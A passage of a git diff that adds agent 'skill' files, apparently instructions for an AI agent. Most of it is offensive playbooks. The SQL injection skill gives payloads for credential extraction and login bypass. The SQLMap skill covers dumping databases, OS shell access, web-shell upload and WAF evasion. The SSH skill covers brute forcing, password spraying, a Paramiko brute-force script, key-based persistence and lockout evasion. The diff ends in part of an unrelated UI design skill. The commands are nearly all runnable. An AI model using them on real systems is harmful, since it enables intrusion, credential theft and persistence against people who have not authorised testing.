+| Time delay | `AND SLEEP(5)--` |
+| Auth bypass | `' OR '1'='1` |
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
+- Limit data extraction to proof-of-concept quantities
+- Avoid denial-of-service through resource-intensive queries
+- Stop immediately upon detecting production database with real user data
+
+### Technical Limitations
+- WAF/IPS may block common payloads requiring evasion techniques
+- Parameterized queries prevent standard injection
+- Some blind injection requires extensive requests (rate limiting concerns)
+- Second-order injection requires understanding of data flow
+
+### Legal and Ethical Requirements
+- Written scope agreement must exist before testing
+- Document all extracted data and handle per data protection requirements
+- Report critical vulnerabilities immediately through agreed channels
+- Never access data beyond scope requirements
+
+## Examples
+
+### Example 1: E-commerce Product Page SQLi
+
+**Scenario**: Testing product display page with ID parameter
+
+**Initial Request**:
+```
+GET /product.php?id=5 HTTP/1.1
+```
+
+**Detection Test**:
+```
+GET /product.php?id=5' HTTP/1.1
+Response: MySQL error - syntax error near ''' 
+```
+
+**Column Enumeration**:
+```
+GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
+Response: Normal
+GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
+Response: Error (4 columns confirmed)
+```
+
+**Data Extraction**:
+```
+GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
+Response: Displays admin credentials
+```
+
+### Example 2: Blind Time-Based Extraction
+
+**Scenario**: No visible output, testing for blind injection
+
+**Confirm Vulnerability**:
+```sql
+id=5' AND SLEEP(5)-- 
+-- Response delayed by 5 seconds (vulnerable confirmed)
+```
+
+**Extract Database Name Length**:
+```sql
+id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
+-- Delay confirms database name is 8 characters
+```
+
+**Extract Characters**:
+```sql
+id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
+-- Iterate through characters to extract: 'appstore'
+```
+
+### Example 3: Login Bypass
+
+**Target**: Admin login form
+
+**Standard Login Query**:
+```sql
+SELECT * FROM users WHERE username='[input]' AND password='[input]'
+```
+
+**Injection Payload**:
+```
+Username: administrator'--
+Password: anything
+```
+
+**Resulting Query**:
+```sql
+SELECT * FROM users WHERE username='administrator'--' AND password='anything'
+```
+
+**Result**: Password check bypassed, authenticated as administrator.
+
+## Troubleshooting
+
+### No Error Messages Displayed
+- Application uses generic error handling
+- Switch to blind injection techniques (boolean or time-based)
+- Monitor response length differences instead of content
+
+### UNION Injection Fails
+- Column count may be incorrect → Test with ORDER BY
+- Data types may mismatch → Use NULL for all columns first
+- Results may not display → Find injectable column positions
+
+### WAF Blocking Requests
+- Use encoding techniques (URL, hex, unicode)
+- Insert inline comments within keywords
+- Try alternative syntax for same operations
+- Fragment payload across multiple parameters
+
+### Payload Not Executing
+- Verify correct comment syntax for database type
+- Check if application uses parameterized queries
+- Confirm input reaches SQL query (not filtered client-side)
+- Test different injection points (headers, cookies)
+
+### Time-Based Injection Inconsistent
+- Network latency may cause false positives
+- Use longer delays (10+ seconds) for clarity
+- Run multiple tests to confirm pattern
+- Consider server-side caching effects

skills/sqlmap-database-pentesting/SKILL.md

@@ -0,0 +1,397 @@
+---
+name: SQLMap Database Penetration Testing
+description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
+---
+
+# SQLMap Database Penetration Testing
+
+## Purpose
+
+Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
+
+## Inputs / Prerequisites
+
+- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
+- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
+- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
+- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
+- **Authorization**: Written permission for penetration testing activities
+
+## Outputs / Deliverables
+
+- **Database Enumeration**: List of all databases on the target server
+- **Table Structure**: Complete table names within target database
+- **Column Mapping**: Column names and data types for each table
+- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
+- **Hash Values**: Password hashes for offline cracking
+- **Vulnerability Report**: Confirmation of SQL injection type and severity
+
+## Core Workflow
+
+### 1. Identify SQL Injection Vulnerability
+
+#### Manual Verification
+```bash
+# Add single quote to break query
+http://target.com/page.php?id=1'
+
+# If error message appears, likely SQL injectable
+# Error example: "You have an error in your SQL syntax"
+```
+
+#### Initial SQLMap Scan
+```bash
+# Basic vulnerability detection
+sqlmap -u "http://target.com/page.php?id=1" --batch
+
+# With verbosity for detailed output
+sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
+```
+
+### 2. Enumerate Databases
+
+#### List All Databases
+```bash
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
+```
+
+**Key Options:**
+- `-u`: Target URL with injectable parameter
+- `--dbs`: Enumerate database names
+- `--batch`: Use default answers (non-interactive mode)
+
+### 3. Enumerate Tables
+
+#### List Tables in Specific Database
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
+```
+
+**Key Options:**
+- `-D`: Specify target database name
+- `--tables`: Enumerate table names
+
+### 4. Enumerate Columns
+
+#### List Columns in Specific Table
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
+```
+
+**Key Options:**
+- `-T`: Specify target table name
+- `--columns`: Enumerate column names
+
+### 5. Extract Data
+
+#### Dump Specific Table Data
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
+```
+
+#### Dump Specific Columns
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
+```
+
+#### Dump Entire Database
+```bash
+sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
+```
+
+**Key Options:**
+- `--dump`: Extract all data from specified table
+- `--dump-all`: Extract all data from all tables
+- `-C`: Specify column names to extract
+
+### 6. Advanced Target Options
+
+#### Target from HTTP Request File
+```bash
+# Save Burp Suite request to file, then:
+sqlmap -r /path/to/request.txt --dbs --batch
+```
+
+#### Target from Log File
+```bash
+# Feed log file with multiple requests
+sqlmap -l /path/to/logfile --dbs --batch
+```
+
+#### Target Multiple URLs (Bulk File)
+```bash
+# Create file with URLs, one per line:
+# http://target1.com/page.php?id=1
+# http://target2.com/page.php?id=2
+sqlmap -m /path/to/bulkfile.txt --dbs --batch
+```
+
+#### Target via Google Dorks (Use with Caution)
+```bash
+# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
+sqlmap -g "inurl:?id= site:yourdomain.com" --batch
+```
+
+## Quick Reference Commands
+
+### Database Enumeration Progression
+
+| Stage | Command |
+|-------|---------|
+| List Databases | `sqlmap -u "URL" --dbs --batch` |
+| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
+| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
+| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
+| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
+
+### Supported Database Management Systems
+
+| DBMS | Support Level |
+|------|---------------|
+| MySQL | Full Support |
+| PostgreSQL | Full Support |
+| Microsoft SQL Server | Full Support |
+| Oracle | Full Support |
+| Microsoft Access | Full Support |
+| IBM DB2 | Full Support |
+| SQLite | Full Support |
+| Firebird | Full Support |
+| Sybase | Full Support |
+| SAP MaxDB | Full Support |
+| HSQLDB | Full Support |
+| Informix | Full Support |
+
+### SQL Injection Techniques
+
+| Technique | Description | Flag |
+|-----------|-------------|------|
+| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
+| Time-based blind | Uses time delays to infer data | `--technique=T` |
+| Error-based | Extracts data from error messages | `--technique=E` |
+| UNION query-based | Uses UNION to append results | `--technique=U` |
+| Stacked queries | Executes multiple statements | `--technique=S` |
+| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
+
+### Essential Options
+
+| Option | Description |
+|--------|-------------|
+| `-u` | Target URL |
+| `-r` | Load HTTP request from file |
+| `-l` | Parse targets from Burp/WebScarab log |
+| `-m` | Bulk file with multiple targets |
+| `-g` | Google dork (use responsibly) |
+| `--dbs` | Enumerate databases |
+| `--tables` | Enumerate tables |
+| `--columns` | Enumerate columns |
+| `--dump` | Dump table data |
+| `--dump-all` | Dump all database data |
+| `-D` | Specify database |
+| `-T` | Specify table |
+| `-C` | Specify columns |
+| `--batch` | Non-interactive mode |
+| `--random-agent` | Use random User-Agent |
+| `--level` | Level of tests (1-5) |
+| `--risk` | Risk of tests (1-3) |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Requires valid injectable parameter in target URL
+- Network connectivity to target database server required
+- Large database dumps may take significant time
+- Some WAF/IPS systems may block SQLMap traffic
+- Time-based attacks significantly slower than error-based
+
+### Performance Considerations
+- Use `--threads` to speed up enumeration (default: 1)
+- Limit dumps with `--start` and `--stop` for large tables
+- Use `--technique` to specify faster injection method if known
+
+### Legal Requirements
+- Only test systems with explicit written authorization
+- Google dork attacks against unknown sites are illegal
+- Document all testing activities and findings
+- Respect scope limitations defined in engagement rules
+
+### Detection Risk
+- SQLMap generates significant log entries
+- Use `--random-agent` to vary User-Agent header
+- Consider `--delay` to avoid triggering rate limits
+- Proxy through Tor with `--tor` for anonymity (authorized tests only)
+
+## Examples
+
+### Example 1: Complete Database Enumeration
+```bash
+# Step 1: Discover databases
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
+# Result: acuart database found
+
+# Step 2: List tables
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
+# Result: users, products, carts, etc.
+
+# Step 3: List columns
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
+# Result: username, password, email columns
+
+# Step 4: Dump user credentials
+sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
+```
+
+### Example 2: POST Request Injection
+```bash
+# Save Burp request to file (login.txt):
+# POST /login.php HTTP/1.1
+# Host: target.com
+# Content-Type: application/x-www-form-urlencoded
+# 
+# username=admin&password=test
+
+# Run SQLMap with request file
+sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
+```
+
+### Example 3: Bulk Target Scanning
+```bash
+# Create bulkfile.txt:
+echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
+echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
+
+# Scan all targets
+sqlmap -m bulkfile.txt --dbs --batch
+```
+
+### Example 4: Aggressive Testing
+```bash
+# High level and risk for thorough testing
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
+
+# Specify all techniques
+sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
+```
+
+### Example 5: Extract Specific Credentials
+```bash
+# Target specific columns
+sqlmap -u "http://target.com/page.php?id=1" \
+  -D webapp \
+  -T admin_users \
+  -C admin_name,admin_pass,admin_email \
+  --dump --batch
+
+# Automatically crack password hashes
+sqlmap -u "http://target.com/page.php?id=1" \
+  -D webapp \
+  -T users \
+  --dump --batch \
+  --passwords
+```
+
+### Example 6: OS Shell Access (Advanced)
+```bash
+# Get interactive OS shell (requires DBA privileges)
+sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
+
+# Execute specific OS command
+sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
+
+# File read from server
+sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
+
+# File upload to server
+sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
+```
+
+## Troubleshooting
+
+### Issue: "Parameter does not seem injectable"
+**Cause**: SQLMap cannot find injection point
+**Solution**:
+```bash
+# Increase testing level and risk
+sqlmap -u "URL" --dbs --batch --level=5 --risk=3
+
+# Specify parameter explicitly
+sqlmap -u "URL" -p "id" --dbs --batch
+
+# Try different injection techniques
+sqlmap -u "URL" --dbs --batch --technique=BT
+
+# Add prefix/suffix for filter bypass
+sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
+```
+
+### Issue: Target Behind WAF/Firewall
+**Cause**: Web Application Firewall blocking requests
+**Solution**:
+```bash
+# Use tamper scripts
+sqlmap -u "URL" --dbs --batch --tamper=space2comment
+
+# List available tamper scripts
+sqlmap --list-tampers
+
+# Common tamper combinations
+sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
+
+# Add delay between requests
+sqlmap -u "URL" --dbs --batch --delay=2
+
+# Use random User-Agent
+sqlmap -u "URL" --dbs --batch --random-agent
+```
+
+### Issue: Connection Timeout
+**Cause**: Network issues or slow target
+**Solution**:
+```bash
+# Increase timeout
+sqlmap -u "URL" --dbs --batch --timeout=60
+
+# Reduce threads
+sqlmap -u "URL" --dbs --batch --threads=1
+
+# Add retries
+sqlmap -u "URL" --dbs --batch --retries=5
+```
+
+### Issue: Time-Based Attacks Too Slow
+**Cause**: Default time delay too conservative
+**Solution**:
+```bash
+# Reduce time delay (risky, may cause false negatives)
+sqlmap -u "URL" --dbs --batch --time-sec=3
+
+# Use boolean-based instead if possible
+sqlmap -u "URL" --dbs --batch --technique=B
+```
+
+### Issue: Cannot Dump Large Tables
+**Cause**: Table has too many records
+**Solution**:
+```bash
+# Limit number of records
+sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
+
+# Dump specific columns only
+sqlmap -u "URL" -D db -T table -C username,password --dump --batch
+
+# Exclude specific columns
+sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
+```
+
+### Issue: Session Drops During Long Scan
+**Cause**: Session timeout or connection reset
+**Solution**:
+```bash
+# Save and resume session
+sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
+
+# Resume from saved session
+sqlmap -u "URL" --dbs --batch --resume
+
+# Use persistent HTTP connection
+sqlmap -u "URL" --dbs --batch --keep-alive
+```

skills/ssh-penetration-testing/SKILL.md

@@ -0,0 +1,485 @@
+---
+name: SSH Penetration Testing
+description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
+---
+
+# SSH Penetration Testing
+
+## Purpose
+
+Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
+
+## Prerequisites
+
+### Required Tools
+- Nmap with SSH scripts
+- Hydra or Medusa for brute-forcing
+- ssh-audit for configuration analysis
+- Metasploit Framework
+- Python with Paramiko library
+
+### Required Knowledge
+- SSH protocol fundamentals
+- Public/private key authentication
+- Port forwarding concepts
+- Linux command-line proficiency
+
+## Outputs and Deliverables
+
+1. **SSH Enumeration Report** - Versions, algorithms, configurations
+2. **Credential Assessment** - Weak passwords, default credentials
+3. **Vulnerability Assessment** - Known CVEs, misconfigurations
+4. **Tunnel Documentation** - Port forwarding configurations
+
+## Core Workflow
+
+### Phase 1: SSH Service Discovery
+
+Identify SSH services on target networks:
+
+```bash
+# Quick SSH port scan
+nmap -p 22 192.168.1.0/24 --open
+
+# Common alternate SSH ports
+nmap -p 22,2222,22222,2200 192.168.1.100
+
+# Full port scan for SSH
+nmap -p- --open 192.168.1.100 | grep -i ssh
+
+# Service version detection
+nmap -sV -p 22 192.168.1.100
+```
+
+### Phase 2: SSH Enumeration
+
+Gather detailed information about SSH services:
+
+```bash
+# Banner grabbing
+nc 192.168.1.100 22
+# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
+
+# Telnet banner grab
+telnet 192.168.1.100 22
+
+# Nmap version detection with scripts
+nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
+
+# Enumerate supported algorithms
+nmap -p 22 --script ssh2-enum-algos 192.168.1.100
+
+# Get host keys
+nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
+
+# Check authentication methods
+nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
+```
+
+### Phase 3: SSH Configuration Auditing
+
+Identify weak configurations:
+
+```bash
+# ssh-audit - comprehensive SSH audit
+ssh-audit 192.168.1.100
+
+# ssh-audit with specific port
+ssh-audit -p 2222 192.168.1.100
+
+# Output includes:
+# - Algorithm recommendations
+# - Security vulnerabilities
+# - Hardening suggestions
+```
+
+Key configuration weaknesses to identify:
+- Weak key exchange algorithms (diffie-hellman-group1-sha1)
+- Weak ciphers (arcfour, 3des-cbc)
+- Weak MACs (hmac-md5, hmac-sha1-96)
+- Deprecated protocol versions
+
+### Phase 4: Credential Attacks
+
+#### Brute-Force with Hydra
+
+```bash
+# Single username, password list
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
+
+# Username list, single password
+hydra -L users.txt -p Password123 ssh://192.168.1.100
+
+# Username and password lists
+hydra -L users.txt -P passwords.txt ssh://192.168.1.100
+
+# With specific port
+hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
+
+# Rate limiting evasion (slow)
+hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
+
+# Verbose output
+hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
+
+# Exit on first success
+hydra -l admin -P passwords.txt -f ssh://192.168.1.100
+```
+
+#### Brute-Force with Medusa
+
+```bash
+# Basic brute-force
+medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
+
+# Multiple targets
+medusa -H targets.txt -u admin -P passwords.txt -M ssh
+
+# With username list
+medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
+
+# Specific port
+medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
+```
+
+#### Password Spraying
+
+```bash
+# Test common password across users
+hydra -L users.txt -p Summer2024! ssh://192.168.1.100
+
+# Multiple common passwords
+for pass in "Password123" "Welcome1" "Summer2024!"; do
+    hydra -L users.txt -p "$pass" ssh://192.168.1.100
+done
+```
+
+### Phase 5: Key-Based Authentication Testing
+
+Test for weak or exposed keys:
+
+```bash
+# Attempt login with found private key
+ssh -i id_rsa user@192.168.1.100
+
+# Specify key explicitly (bypass agent)
+ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
+
+# Force password authentication
+ssh -o PreferredAuthentications=password user@192.168.1.100
+
+# Try common key names
+for key in id_rsa id_dsa id_ecdsa id_ed25519; do
+    ssh -i "$key" user@192.168.1.100
+done
+```
+
+Check for exposed keys:
+
+```bash
+# Common locations for private keys
+~/.ssh/id_rsa
+~/.ssh/id_dsa
+~/.ssh/id_ecdsa
+~/.ssh/id_ed25519
+/etc/ssh/ssh_host_*_key
+/root/.ssh/
+/home/*/.ssh/
+
+# Web-accessible keys (check with curl/wget)
+curl -s http://target.com/.ssh/id_rsa
+curl -s http://target.com/id_rsa
+curl -s http://target.com/backup/ssh_keys.tar.gz
+```
+
+### Phase 6: Vulnerability Exploitation
+
+Search for known vulnerabilities:
+
+```bash
+# Search for exploits
+searchsploit openssh
+searchsploit openssh 7.2
+
+# Common SSH vulnerabilities
+# CVE-2018-15473 - Username enumeration
+# CVE-2016-0777 - Roaming vulnerability
+# CVE-2016-0778 - Buffer overflow
+
+# Metasploit enumeration
+msfconsole
+use auxiliary/scanner/ssh/ssh_version
+set RHOSTS 192.168.1.100
+run
+
+# Username enumeration (CVE-2018-15473)
+use auxiliary/scanner/ssh/ssh_enumusers
+set RHOSTS 192.168.1.100
+set USER_FILE /usr/share/wordlists/users.txt
+run
+```
+
+### Phase 7: SSH Tunneling and Port Forwarding
+
+#### Local Port Forwarding
+
+Forward local port to remote service:
+
+```bash
+# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server
+
+# Access internal web server through SSH
+ssh -L 8080:192.168.1.50:80 user@192.168.1.100
+# Now access http://localhost:8080
+
+# Access internal database
+ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
+
+# Multiple forwards
+ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
+```
+
+#### Remote Port Forwarding
+
+Expose local service to remote network:
+
+```bash
+# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server
+
+# Expose local web server to remote
+ssh -R 8080:localhost:80 user@192.168.1.100
+# Remote can access via localhost:8080
+
+# Reverse shell callback
+ssh -R 4444:localhost:4444 user@192.168.1.100
+```
+
+#### Dynamic Port Forwarding (SOCKS Proxy)
+
+Create SOCKS proxy for network pivoting:
+
+```bash
+# Create SOCKS proxy on local port 1080
+ssh -D 1080 user@192.168.1.100
+
+# Use with proxychains
+echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
+proxychains nmap -sT -Pn 192.168.1.0/24
+
+# Browser configuration
+# Set SOCKS proxy to localhost:1080
+```
+
+#### ProxyJump (Jump Hosts)
+
+Chain through multiple SSH servers:
+
+```bash
+# Jump through intermediate host
+ssh -J user1@jump_host user2@target_host
+
+# Multiple jumps
+ssh -J user1@jump1,user2@jump2 user3@target
+
+# With SSH config
+# ~/.ssh/config
+Host target
+    HostName 192.168.2.50
+    User admin
+    ProxyJump user@192.168.1.100
+```
+
+### Phase 8: Post-Exploitation
+
+Activities after gaining SSH access:
+
+```bash
+# Check sudo privileges
+sudo -l
+
+# Find SSH keys
+find / -name "id_rsa" 2>/dev/null
+find / -name "id_dsa" 2>/dev/null
+find / -name "authorized_keys" 2>/dev/null
+
+# Check SSH directory
+ls -la ~/.ssh/
+cat ~/.ssh/known_hosts
+cat ~/.ssh/authorized_keys
+
+# Add persistence (add your key)
+echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
+
+# Extract SSH configuration
+cat /etc/ssh/sshd_config
+
+# Find other users
+cat /etc/passwd | grep -v nologin
+ls /home/
+
+# History for credentials
+cat ~/.bash_history | grep -i ssh
+cat ~/.bash_history | grep -i pass
+```
+
+### Phase 9: Custom SSH Scripts with Paramiko
+
+Python-based SSH automation:
+
+```python
+#!/usr/bin/env python3
+import paramiko
+import sys
+
+def ssh_connect(host, username, password):
+    """Attempt SSH connection with credentials"""
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    
+    try:
+        client.connect(host, username=username, password=password, timeout=5)
+        print(f"[+] Success: {username}:{password}")
+        return client
+    except paramiko.AuthenticationException:
+        print(f"[-] Failed: {username}:{password}")
+        return None
+    except Exception as e:
+        print(f"[!] Error: {e}")
+        return None
+
+def execute_command(client, command):
+    """Execute command via SSH"""
+    stdin, stdout, stderr = client.exec_command(command)
+    output = stdout.read().decode()
+    errors = stderr.read().decode()
+    return output, errors
+
+def ssh_brute_force(host, username, wordlist):
+    """Brute-force SSH with wordlist"""
+    with open(wordlist, 'r') as f:
+        passwords = f.read().splitlines()
+    
+    for password in passwords:
+        client = ssh_connect(host, username, password.strip())
+        if client:
+            # Run post-exploitation commands
+            output, _ = execute_command(client, 'id; uname -a')
+            print(output)
+            client.close()
+            return True
+    return False
+
+# Usage
+if __name__ == "__main__":
+    target = "192.168.1.100"
+    user = "admin"
+    
+    # Single credential test
+    client = ssh_connect(target, user, "password123")
+    if client:
+        output, _ = execute_command(client, "ls -la")
+        print(output)
+        client.close()
+```
+
+### Phase 10: Metasploit SSH Modules
+
+Use Metasploit for comprehensive SSH testing:
+
+```bash
+# Start Metasploit
+msfconsole
+
+# SSH Version Scanner
+use auxiliary/scanner/ssh/ssh_version
+set RHOSTS 192.168.1.0/24
+run
+
+# SSH Login Brute-Force
+use auxiliary/scanner/ssh/ssh_login
+set RHOSTS 192.168.1.100
+set USERNAME admin
+set PASS_FILE /usr/share/wordlists/rockyou.txt
+set VERBOSE true
+run
+
+# SSH Key Login
+use auxiliary/scanner/ssh/ssh_login_pubkey
+set RHOSTS 192.168.1.100
+set USERNAME admin
+set KEY_FILE /path/to/id_rsa
+run
+
+# Username Enumeration
+use auxiliary/scanner/ssh/ssh_enumusers
+set RHOSTS 192.168.1.100
+set USER_FILE users.txt
+run
+
+# Post-exploitation with SSH session
+sessions -i 1
+```
+
+## Quick Reference
+
+### SSH Enumeration Commands
+
+| Command | Purpose |
+|---------|---------|
+| `nc <host> 22` | Banner grabbing |
+| `ssh-audit <host>` | Configuration audit |
+| `nmap --script ssh*` | SSH NSE scripts |
+| `searchsploit openssh` | Find exploits |
+
+### Brute-Force Options
+
+| Tool | Command |
+|------|---------|
+| Hydra | `hydra -l user -P pass.txt ssh://host` |
+| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |
+| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |
+| Metasploit | `use auxiliary/scanner/ssh/ssh_login` |
+
+### Port Forwarding Types
+
+| Type | Command | Use Case |
+|------|---------|----------|
+| Local | `-L 8080:target:80` | Access remote services locally |
+| Remote | `-R 8080:localhost:80` | Expose local services remotely |
+| Dynamic | `-D 1080` | SOCKS proxy for pivoting |
+
+### Common SSH Ports
+
+| Port | Description |
+|------|-------------|
+| 22 | Default SSH |
+| 2222 | Common alternate |
+| 22222 | Another alternate |
+| 830 | NETCONF over SSH |
+
+## Constraints and Limitations
+
+### Legal Considerations
+- Always obtain written authorization
+- Brute-forcing may violate ToS
+- Document all testing activities
+
+### Technical Limitations
+- Rate limiting may block attacks
+- Fail2ban or similar may ban IPs
+- Key-based auth prevents password attacks
+- Two-factor authentication adds complexity
+
+### Evasion Techniques
+- Use slow brute-force: `-t 1 -w 5`
+- Distribute attacks across IPs
+- Use timing-based enumeration carefully
+- Respect lockout thresholds
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
+| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
+| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |

skills/ui-ux-pro-max/SKILL.md

@@ -1,11 +1,95 @@
 ---
 name: ui-ux-pro-max
-description: "UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 8 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient."
+description: "UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn/ui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn/ui MCP for component search and examples."
 ---
 
 # UI/UX Pro Max - Design Intelligence
 
-Searchable database of UI styles, color palettes, font pairings, chart types, product recommendations, UX guidelines, and stack-specific best practices.
+Comprehensive design guide for web and mobile applications. Contains 50+ styles, 97 color palettes, 57 font pairings, 99 UX guidelines, and 25 chart types across 9 technology stacks. Searchable database with priority-based recommendations.
+
+## When to Apply
+
+Reference these guidelines when:
+- Designing new UI components or pages
+- Choosing color palettes and typography
+- Reviewing code for UX issues
+- Building landing pages or dashboards
+- Implementing accessibility requirements
+
+## Rule Categories by Priority
+
+| Priority | Category | Impact | Domain |
+|----------|----------|--------|--------|
+| 1 | Accessibility | CRITICAL | `ux` |
+| 2 | Touch & Interaction | CRITICAL | `ux` |
+| 3 | Performance | HIGH | `ux` |
+| 4 | Layout & Responsive | HIGH | `ux` |
+| 5 | Typography & Color | MEDIUM | `typography`, `color` |
+| 6 | Animation | MEDIUM | `ux` |
+| 7 | Style Selection | MEDIUM | `style`, `product` |
+| 8 | Charts & Data | LOW | `chart` |
+
+## Quick Reference
+
+### 1. Accessibility (CRITICAL)
+
+- `color-contrast` - Minimum 4.5:1 ratio for normal text
+- `focus-states` - Visible focus rings on interactive elements
+- `alt-text` - Descriptive alt text for meaningful images
+- `aria-labels` - aria-label for icon-only buttons
+- `keyboard-nav` - Tab order matches visual order
+- `form-labels` - Use label with for attribute
+
+### 2. Touch & Interaction (CRITICAL)
+
+- `touch-target-size` - Minimum 44x44px touch targets
+- `hover-vs-tap` - Use click/tap for primary interactions
+- `loading-buttons` - Disable button during async operations
+- `error-feedback` - Clear error messages near problem
+- `cursor-pointer` - Add cursor-pointer to clickable elements
+
+### 3. Performance (HIGH)
+
+- `image-optimization` - Use WebP, srcset, lazy loading
+- `reduced-motion` - Check prefers-reduced-motion
+- `content-jumping` - Reserve space for async content
+
+### 4. Layout & Responsive (HIGH)
+
+- `viewport-meta` - width=device-width initial-scale=1
+- `readable-font-size` - Minimum 16px body text on mobile
+- `horizontal-scroll` - Ensure content fits viewport width
+- `z-index-management` - Define z-index scale (10, 20, 30, 50)
+
+### 5. Typography & Color (MEDIUM)
+
+- `line-height` - Use 1.5-1.75 for body text
